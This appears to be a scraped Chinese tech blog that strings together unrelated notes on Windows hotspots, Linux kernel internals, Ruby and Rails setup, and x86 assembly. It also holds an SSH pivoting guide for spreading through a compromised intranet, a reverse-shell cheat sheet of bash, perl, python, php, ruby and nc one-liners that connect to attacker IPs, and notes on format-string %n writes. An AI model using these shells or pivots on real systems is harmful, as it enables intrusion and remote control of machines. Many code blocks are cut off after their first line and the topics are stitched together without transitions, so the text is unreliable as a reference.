建立热点:
@echo off
netsh wlan set hostednetwork mode=allow
netsh wlan set hostednetwork ssid=热点名 key=密码
netsh wlan start hostednetwork
关闭热点
netsh wlan set hostednetwork mode=disallow
建立热点:
@echo off
netsh wlan set hostednetwork mode=allow
netsh wlan set hostednetwork ssid=热点名 key=密码
netsh wlan start hostednetwork
关闭热点
netsh wlan set hostednetwork mode=disallow
在很多时候拿到了内网的一台主机,我们需要用它做跳板来对内网进一步扩大战果。
也许方法很多,meterpreter,nc等等。但是最方便也最有可能穿透防火墙的方法,就是用ssh。
分为四种类型:
本地转发,远程转发,跳板转发,动态转发。
本地转发
假设攻击机A主机为本机,ip是y.y.y.y,用户是hacker,被攻击且用作跳板的主机是B,ip是
x.x.x.x,对应的内网ip是10.0.0.2,用户是root,ssh的端口是22。
假设B机器上的80端口开放了一个服务,但是只有B主机本机上才能访问,这时候可以使用本地转
发,在A机器上执行命令:
1 | ssh -L 8080:localhost:80 [email protected] |
这样,在本机A中访问localhost:80,数据被转发到B主机的80端口,即实现了访问B机器的本地
服务。
很常见的一个实例就是攻击者拿下了某目标内部的网关服务器,但是出于安全考虑网管的web控
制台界面只有在网关服务器自身上才能访问,这时候就可以通过这种方式转发流量,方便的操作
网关服务器的web控制台了。
上面的情况,是基于A主机可以ssh到B的情况,但假如从A到B的ssh连接被拒绝,而恰好B主机的
防火墙没有禁止其使用ssh外连,这时候就可以通过远程转发来实现上述同样的效果。
在B机器上执行命令:
1 | ssh -R 8080:localhost80 [email protected] |
这时候在A机器上访问自身的8080端口,数据也是被转发到了B主机的80端口上的。
可见,这种方式受到的局限比较多,因为如果能够在B主机上使用ssh外连了,还需要通过ssh来
转发流量的情况也是很少见的,但也不是没有。
以上两种转发,都是只对跳板服务器自身的服务,很多时候,渗透需要的是内网中一台稳定的跳板,
这时候就可以使用
跳板转发来实现多主机之间转发。
假设现在需要通过B主机作为跳板,来访问与B处于同一内网中的机器C的80端口,假设C的ip是
10.0.0.3,这时候可以在攻击机上执行如下命令:
1 | ssh -g -L 8080:10.0.0.3:80 [email protected] |
此时在A主机上8080端口的流量就被转发到C主机的80端口上了。
最有用的就是最后要介绍的,
动态转发,这种转发可以将流量随心所欲的转发,此时实现的效果就相当于代理服务器,在A机器
上用下面的命令实现:
1 | ssh -D 8080 [email protected] |
此时在A机器上配置SOCKS代理端口localhost:8080,就可以以B为代理服务器随心所欲的畅游。
最后补充使用ssh进行X转发的命令,其实很简单:
1 | ssh -X [email protected] |
这样连接上以后,目标机器的X服务器所做的操作都会通过x协议发送到本地,很方便的实现了可
视化操作。
例如在终端输入firefox,就可以在本地弹出一个实际上运行在远程的firefox进程。
arch 特定体系结构的源码
block Crypto API
crypto 内核源码文档
drivers 设备驱动程序
firmware
fs VFS和各种文件系统
include 内核头文件
init 内核引导和初始化
ipc 进程间通信代码
kernel 像调度程序这样的核心子系统
lib 通用内核函数
Makefile
Makefile.common
mm 内存管理子系统和VM
Module.symvers
net 网络子系统
samples
scripts 编译内核所用的脚本
security Linux安全模块
sound 语音子系统
System.map
tools
usr 早期用户空间代码
virt
配置内核(不同的选项)
make config
make menuconfig
make xconfig
make gconfig
创建默认配置
make defconfig
make oldconfig
编译
make
记录编译信息
make >../log.txt
忽略编译信息
make >/dev/null
衍生多个编译作业
make -j[任务数量]
如双核处理器上,每个处理器衍生两个作业
make -j4
把arch/i386/boot/bzImage拷贝到/boot
依照vmlinuz-version来命名
编辑/boot/grub/grub.conf文件,为新内核建立新的启动项
使用LILO的系统则编辑/etc/lilo.conf,然后运行lilo
make modules_install
大部分常用的C库函数在内核中都已经得到了实现
内联函数
把对时间要求比较高而本身长度又比较短的函数定义成内联函数
1 | static inline void test(unsigned long tail_size) |
内联函数必须在使用前就定义好,一般在头文件或者文件头中定义内联函数。
内联汇编
分支声明(为了优化)
1 | likely() |
进程是处于执行期的程序以及它所包含的资源的总称
内核把进程存放在任务队列中。任务队列是各双向循环链表,链表中的每一项都是类型为task_struct,称为进程描述符的结构,定义在<linux/sched.h>文件中。
进程描述符中包含一个具体进程的所有信息
task_struct在32位机器上有1.7k字节,其中包含的数据能完整的描述一个正在执行的程序。(打开的文件,进程的地址空间,挂起的信号,进程的状态还有其他更多信息)
通过slab分配器分配task_struct结构
内核通过一个唯一的进程标识值或PID类标识每个进程,PID最大默认值为32768(short int的最大值),可以修改/proc/sys/kernle/pid_max来提高上限。
进程描述符中的state域描述了进程的当前状态,系统中每个进程都必须处于五种状态中的一种。
1 | set_task_state(task,state); |
进程家族树
所有的进程都是PID为1的init进程的后台
内核在系统启动的最后阶段启动init进程,该进程读取系统的初始化脚本并执行其他的相关程序
进程间的关系存放在进程描述符中,每个tack_struct都包含一个指向其父进程task_struct,叫做parent的指针
获取其父进程的进程描述符:
1 | struct task_struct *my_parent = ourrent->parent; |
访问子进程:
1 | struct task_struct *task; |
API.POSIX.C
系统调用(系统调用号)
系统调用处理程序
int $0x80(十进制128) system_call()
第128号异常处理程序
系统调用号通过eax寄存器传递给内核
call *sys_call_table(,%eax,4)
系统调用表的表项是以32位类型存放的,所以内核需要将给定的系统调用号乘以4,然后查询
参数传递:ebx,ecx,edx,esi和edi按照顺序存放前五个参数
系统调用的实现
系统调用上下文
中断和中断处理程序
注册中断处理程序
1 | //request_irq()成功执行会返回0 |
1 | array = (1..10).to_a |
1 | length = array.length |
1 | length = array.length-1 |
1 | for i in array do |
1 | array.each{x print x," "} |
1 | length = array.length |
1 | length = array.length |
1 | array.each_index do i |
1 | require 'mysql' |
1 | #!/bin/ruby |
1 | require 'sqlite3' |
服务端:
1 | require 'socket' |
客户端:
1 | require 'socket' |
rubygems.org上的gem文档访问起来太慢了,其实gem本身就自带doc的功能
安装gem的时候会默认安装相应gem的doc,如果不想占用空间安装doc,则gem install XXX –no-doc 即可。
使用下列命令可以启动gem自带的文档:
1 | gem server --port 1234 |
然后访问http://localhost:1234
就可以查看相关的gem文档。
1 | puts "\033[1m前景色\033[0m\n" |
Ruby json gem
https://rubygems.global.ssl.fastly.net/gems/json-1.8.3.gem
树莓派wiringpi gpio包
http://pi.gadgetoid.com/article/wiringpi-as-a-ruby-gem
参考自:http://rvm.io/rvm/install
首先添加gpg公钥:
1 | gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 |
安装稳定版本的rvm
1 | curl -sSL https://get.rvm.io | bash -s stable --ruby |
1 | ruby-2.3.3 - #compiling.......................................................................- |
查看/usr/local/rvm/log/1488041042_ruby-2.3.3/make.log发现是openssl版本过老导致的。
1 | rvm pkg install openssl |
第二步:编译安装ruby,指定openssl目录(我的是/usr/local/rvm/usr/)
1 | rvm install ruby-2.3.3 --with-openssl-dir=/usr/local/rvm/usr/ |
现在没有淘宝源了,只有ruby-china源
1 | gem sources --add https://gems.ruby-china.org/ --remove https://rubygems.org/ |
设置Bundler默认源为ruby-china:
1 | bundle config mirror.https://rubygems.org https://gems.ruby-china.org |
这样修改以后,即使Gemfile中指定了Source,也会用国内的源。
bash
1 | $ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 |
perl
1 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
python
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.88.20",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
php
1 | php -r '$sock=fsockopen("x.x.x.x",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
ruby
1 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
nc
1 | $ nc -e /bin/sh 10.0.0.1 1234 |
1 | $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f |
1 | $ nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999 |
jsp
1 | r = Runtime.getRuntime() |
C
1 | #include <stdio.h> |
步骤如下
1 | gem sources --add https://ruby.taobao.org/ --remove https://rubygems.org/ |
之后:
1 | gem install rails |
如果是win10,选择 DevKit-mingw64-64-4.7.2-20130224-1432-sfx.exe 这个版本。
然后运行,并选择解压到c:\devkit
进入c:\devkit目录
运行
ruby dk.rb init
之后修改config.yml
添加下面三行
1 | --- |
注意把路径换成当前ruby的安装路径,-前后各有一个空格不可忽略。
然后运行
ruby dk.rb install
最后进入需要建立工程的目录,使用如下命令新建rails项目
rails new testapp
如果在此过程中报错,则进入testapp中
使用
bundler install
来安装所需要的依赖包。
如果还报错,修改testapp目录中的Gemfile
将第一行的sources源内容改为
source 'https://ruby.taobao.org/'
然后再执行bundler install命令
假设你已经安装好ruby了
接下来安装rvm
$ curl -L https://get.rvm.io | bash -s stable
某些情况下,可能需要编译一下rvm的初始化脚本
我的位置是在/etc/profile.d/rvm.sh,所以运行这一句:
$source /etc/profile.d/rvm.sh
接着安装bundler
gem install bundler
然后安装rails
gem install rails
如果这地方出现错误,尝试使用rvm切换ruby的版本:
rvm install 2.0.0
rvm 2.0.0 --default
1 | curl -L https://get.rvm.io | bash -s stable |
创建项目
1 | rails new BootstrapProject |
创建模型
1 | rails g scaffold xxx --skip-stylesheets |
运行迁移
1 | rake db:migrate |
如果项目和模型都已经建立好了并已经运行了迁移,那么可以省略以上步骤,直接进入下面的流程
在Gemfile中添加bootstrap,这里使用twitter-bootstrap-rails
1 | gem 'jquery-rails' |
bundle
1 | bundle install |
安装bootstrap
1 | rails g bootstrap:install |
在模型上运用bootstrap
1 | rails g bootstrap:themed xxx -f |
注:xxx可以是任意的模型,例如模型名称是Article,那么这里的语句就是:
1 | rails g bootstrap:themed Articles |
还要在application.js中加上引用,否则bootstrap的一些按钮会失效:
1 | //= require jquery |
Enjoy it~
!
二进制安全相关工具和教程站点
CPU指令的基本单位
总线
地址空间
寻址方式
寄存器(80386处理器中的寄存器分为8组,每组宽度为32位)
PSW寄存器详解
15 | 14 | 13 | 12 | 11 | 10 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
– | – | – | – | OF | DF | IF | TF | SF | ZF | – | AF | – | PF | – | CF |
标志位 | 说明 |
---|---|
OF(Overflow Flag)溢出标志 | 溢出时为1,否则置0 |
SF(Sign Flag)符号标志 | 结果为负时置1,否则置0 |
ZF(Zero Flag)零标志 | 运算结果为0时ZF位置1,否则置0 |
CF(Carry Flag)进位标志 | 进位时置1,否则置0 |
AF(Auxiliary carry Flag) | 辅助进位标志,记录运算时第3位(半个字节)产生的进位置。有进位时1,否则置0 |
PF(Parity Flag)奇偶标志 | 结果操作数中1的个数为偶数时置1,否则置0 |
DF(Direction Flag)方向标志 | 在串处理指令中控制信息的方向 |
if(Interrupt Flag)中断标志 | |
TF(Trap Flag)陷阱标志 |
整数
整数表达式优先级
数据传送
通用数据传送
伪指令
代码标号
1 | target: |
数据标号
1 | first BYTE 10 |
注释
1 | ;单行注释 |
1 | mov 赋值 |
1 | byte 8位无符号整数 |
1 | .data |
push 压栈
pop 出栈
MOV 赋值
MOVZX 零拓展传送
MOVSX 符号拓展传送
1 | MOV DL,90H ;DL=90H |
CBW 将字节数据扩展成字,符号位扩展到AH中
CWD 将字数据扩展成双字,符号位放到DX中
1 | MOV AL,70H ; |
XCHG 交换两个操作数的数据,支持8位、16位、32位
PUSH 入栈,支持立即数入栈
PUSHA 将8个16位通用寄存器全部入栈,顺序为AX,CX,DX,BX,SP,BP,SI,DI,然后SP指针寄存减16,内容为PUSHA指令执行前的内容
PUSHAD 将8个32位通用寄存器全部入栈,顺序为EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI,然后ESP的内容是执行指令PUSHAD之前的内容
POP 出栈
POPA 8个16位通用寄存器全部出栈,堆栈指针寄存器不是堆栈中弹出的内容,而是加16之后得到
POPAD 8个32位通用寄存器全部出栈,ESP的内容是执行指令PUSHAD之前的内容
LEA 取有效地址
1 | MOV EAX, 11111111h |
LDS 装入指针,目的寄存器必须是16位或32位的通用寄存器,操作数必须是内存单元,不能是立即数
1 | LDS EAX, [1000H];将偏移地址为1000,1001h这两个字节单元的内容送给DS,将1002,1003,1004,1005这四个字节单元的内容送往EAX |
LES 同LDS,不过段寄存器是ES
LFS 同LDS,不过段寄存器是FS
LGS 同LDS,不过段寄存器是GS
LSS 同LDS,不过段寄存器是SS
LAHF 将标志寄存器的低8位送至AH中,包括SF,ZF,ZF,PF,CF。
SAHF 与LAHF的过程恰好相反
PUSHF 将标志寄存器的EFLAGS低16位内容入栈
PUSHFD 将标志寄存器EFLAGS的内容入栈
POPF 将栈顶的一个字弹出,并将它送到标志寄存器EFLAGS的低16位
POPFD 将栈顶的两个字弹出,并将它送到标志寄存器EFLAGS
OFFSET 取当前内存的地址
1 | offset Array |
EBP EBP指向栈底
ESP 指向栈区域的栈顶位置
EIP 指向下一个将会被执行的指令
EAX = [AX]+[AH+AL]
db: 声明 1 byte(字节)变量
dw: 声明 2 byte(字节)变量 = 1 word
dd: 声明 4 byte(字节)变量 = 2 word = 1 double word
1 | mov eax ebx |
和C语言的对比:
a = b[0x66] => mov eax [ebx+66h]
数据交换
1 | lea edx, b ;将edx指向b |
条件跳转:
cmp 比较结果
jx 检查条件x,有大于、小于、等于三个状态
je 相等时跳转
jne 不相等时跳转
jb、ja 比较无符号数然后决定是否跳转
jl、jg 比较有符号数然后决定是否跳转
jbe 在一个无符号数小于或者等于另一个无符号数时发生跳转
jmp 无条件跳转
1 | cmp EAX,EBX ;比较EAX和EBX |
1 | push offset, LibName ;将字符串偏移量压入堆栈 |
文件偏移地址 = 虚拟内存地址-装载基址-节偏移
= RVA - 节偏移
1 | 4d 5a MZ |
1 | ff d8 ff e0 00 10 4a 46 49 46 JFIF |
1 | ca fe ba be |
1 | gcc -o test test.c |
1 | ldd ./test |
反汇编器:
1 | msfpayload linux/x86/shell_findport CPORT=4444 R >test |
分析网络数据包中可能包含shellcode的计算机网络攻击时,可以采用流式反汇编器来反汇编数据包中包含shellcode的部分
栈帧: 程序运行时栈中分配的内存块,专门用于特定的函数调用。
因为每个递归函数调用都有自己的栈帧,使得递归成为可能。
函数调用步骤:
1.调用方将被调用方所需的参数放到该函数所采用的调用约定制定的位置
2.调用方将控制权转交给被调用方
3.如有必要,为被调用的函数配置栈指针
4.被调用方为局部变量分配空间
5.被调用函数执行操作
6.函数完成操作后,为局部变量保留的栈空间被释放。(逆向执行第4步中的操作)
7.还原寄存器值
8.被调用函数将控制权返还给调用方
9.删除栈中的参数
调用约定: 通过调用函数将函数参数存入栈中,调用函数必须存储被调用函数所需的参数。
调用约定指定调用方放置函数所需参数的具体位置。
调用约定可能要求将参数放置在制定的寄存器、程序栈或者寄存器和栈中。
c调用规定。
cdecl调用约定规定:
调用方按从右到左的顺序将函数参数放入栈中。
在被调用的函数完成操作时,调用方负责从栈中清除参数。
要分析的文件为main.exe
会在目录中生成
从磁盘加载文件,解析文件头信息,创建包含代码或数据的程序块
编译器识别:IDA尝试确定用于创建输入文件的编译器,如果能确定,就可以扫描该编译器使用的样板代码序列
函数参数和局部变量识别:
数据类型信息:
地址 | 指令 | 16进制 | 指令长度 |
---|---|---|---|
.text:00401010 | push ebp | 55 | 1byte |
.text:00401011 | mov ebp, esp | 8B EC | 2byte |
.text:00401013 | sub esp, 44h | 83 EC 44 | 3byte |
.text:00401016 | push ebx | 53 | 1byte |
C语言字符串格式化类型:
Type | Description |
---|---|
%c | 输出字符,配上%n可用于向指定地址写数据。 |
%d | 输出十进制整数,配上%n可用于向指定地址写数据。 |
%x | 输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。 |
%p | 输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。 |
%s | 输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。 |
%n | 将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。 |
参考:
https://www.anquanke.com/post/id/85785
堆管理相关文章:
https://www.cnblogs.com/alisecurity/p/5486458.html
https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/
Update your browser to view this website correctly. Update my browser now